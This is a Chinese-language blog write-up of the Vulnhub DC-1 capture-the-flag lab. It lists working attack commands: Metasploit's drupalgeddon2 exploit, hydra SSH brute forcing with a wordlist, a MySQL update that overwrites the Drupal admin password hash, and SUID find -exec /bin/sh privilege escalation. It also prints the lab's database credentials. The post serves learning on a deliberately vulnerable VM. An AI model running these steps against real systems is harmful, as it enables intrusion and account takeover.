前言
之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西。
所以才想写点东西,记录一下
1.下载
地址https://www.vulnhub.com/entry/dc-1-1,292/
建议用镜像,快一点
使用Oracle VM VirtualBox打开
2.开始
打开虚拟机后。提示需要账号密码
这个是需要你自己去找的
于是打开kali,vmware的网络配置使用桥接网络,用
arp-scan -l
扫描
其中的 Cadmus Computer Systems即为我们的目标,打开前面的192.168.124.76,如图
这里推荐一个chrome插件,叫wappalyzer,这个可以检测网站的信息,cms,框架,服务器等等,非常棒。通过这个插件,可以得知这个网站使用的是drupalCMS
在msf中查找对应的信息
search drupal
用第5个,先
set rhosts 192.168.124.76
然后use exploit/unix/webapp/drupal_drupalgeddon2
再exploit
当提示session1 open时,则已经成功进入了
执行命令shell命令获得shell
输入ls
发现有给flag1.txt的文件,打开看一下
cat flag1.txt
翻译翻译,每一个好的CMS都需要一个配置文件,你也一样。
找到这个CMS的配置文件(google)
cd sites/default
cat settings.php
这边看到了flag2
再翻译翻译
蛮力和字典攻击不是
只有获得访问的方法(您将需要访问)。
你能用这些凭证做什么?
意思是让我不要用暴力破解得方法搞密码?maybe
同时,下面有数据库账号密码
dbuser R0ck3t
直到现在还没有拿到登陆的账号密码
这边进入/etc/passwd看一下
发现有个叫flag4的账号,如何用john +hydra试着暴力破解一下
hydra是kali自带的,john需要自己安装,这个网上去找教程,这里不放出来了
hydra -l flag4 -P /root/john-1.8.0/run/password.lst ssh://192.168.124.76
然后密码就出来了。。。。。
在vm virutalBox上登陆一下
也可以用kalissh远程登陆(推荐用这个,vmbox太tm蛋疼了)
然后登陆mysql
mysql -u dbuser -p
然后开始找东西
show databases;
show tables
发现有一个叫users的表
打开,发现
再百度一波,如何重置drupal的密码
用update users set pass=‘$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4’ where name=‘admin';
然后用password登陆,这边这个加密方法我还没搞懂
之后就可以登录之前的网站(192.168.124.76)了
登陆后,在网站里扒拉来,扒拉去,在左上的content里看到一个叫flag3的玩意
发现这是一个提示
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
提到了find和-exec,提权用的(学艺不精,看的别人的)
回到kali
find / -perm -u=s -type f 2>/dev/null
find / -type f -name getflag -exec "/bin/sh" \;
提权部分知识参考https://blog.csdn.net/qq_36119192/article/details/84872644
ls
cd ../..
cd /root
cat thefinalflag.txt
然后就算是告一段落了
总结
做完这个感觉自己真的很菜,在此总结一下这个过程中了解到的,学到的,以及还不懂的知识
1.arp-scan -l 用来扫描局域网内的主机。(参考https://blog.csdn.net/weixin_43221560/article/details/90550294)
2.用 msf5来reach drupal寻找漏洞,配置并使用这些漏洞(一知半解,还得好好学习),
3.ssh远程连接,如在渗透过程中使用到的 ssh [email protected]。挺方便的
4.john the Ripper +hydra 爆破,(john下载安装参考https://blog.csdn.net/Romanticduan/article/details/81233479,使用参考https://blog.csdn.net/qq_36119192/article/details/83373895)
hydra -l flag4 -P /root/john-1.8.0/run/password.lst ssh://192.168.124.76(也是一知半解,同样得学)
5.suid提权
find / -perm -u=s -type f 2>/dev/null
find / -type f -name getflag -exec "/bin/sh" \;
提权部分知识参考https://blog.csdn.net/qq_36119192/article/details/84872644
(这边应该更重要)
6.熟悉了linux的一些命令,文件
目前来说就想到了这些
先这样吧